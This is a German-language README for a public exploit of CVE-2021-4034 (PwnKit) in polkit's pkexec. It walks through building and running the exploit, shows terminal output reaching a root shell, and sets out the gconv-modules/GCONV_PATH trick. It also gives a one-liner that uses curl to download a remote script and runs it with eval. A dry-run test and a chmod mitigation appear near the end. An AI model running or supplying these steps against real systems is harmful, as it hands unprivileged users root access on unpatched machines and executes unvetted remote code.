
CVE-2021-4034 1day
Eines Tages für den Polkit-Privilege-Escalation-Exploit
Führen Sie einfach make, ./cve-2021-4034 aus und genießen Sie Ihre Root-Shell.
Die originale Empfehlung der eigentlichen Autoren ist hier
Wenn der Exploit funktioniert, erhalten Sie sofort eine Root-Shell:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Das Aktualisieren von polkit auf den meisten Systemen patcht den Exploit, daher erhalten Sie die Nutzungsinformationen und das Programm wird beendet:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Um keine Shell auszuführen, sondern nur zu testen, ob das System verwundbar ist, kompilieren Sie das dry-run Ziel.
Wenn das Programm mit der Ausgabe "root" beendet wird, bedeutet das, dass Ihr System für den Exploit anfällig ist.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Wenn Ihr System nicht anfällig ist, gibt es einen Fehler aus und beendet sich.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (ehemals PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Es bietet eine organisierte Möglichkeit für nicht privilegierte Prozesse, mit privilegierten Prozessen zu kommunizieren. Es ist auch möglich, polkit zu verwenden, um Befehle mit erhöhten Privilegien auszuführen, indem der Befehl pkexec gefolgt von dem auszuführenden Befehl (mit Root-Berechtigung) verwendet wird.
Sie können das System einfach mit einem einzigen Skript ausnutzen, das mit diesem Befehl heruntergeladen und ausgeführt werden kann:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Wenn für Ihr Betriebssystem keine Patches verfügbar sind, können Sie das SUID-Bit von pkexec als vorübergehende Abhilfe entfernen.
# chmod 0755 /usr/bin/pkexec
Der Exploit wird dann fehlschlagen und sich beschweren, dass pkexec das setuid-Bit gesetzt haben muss.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root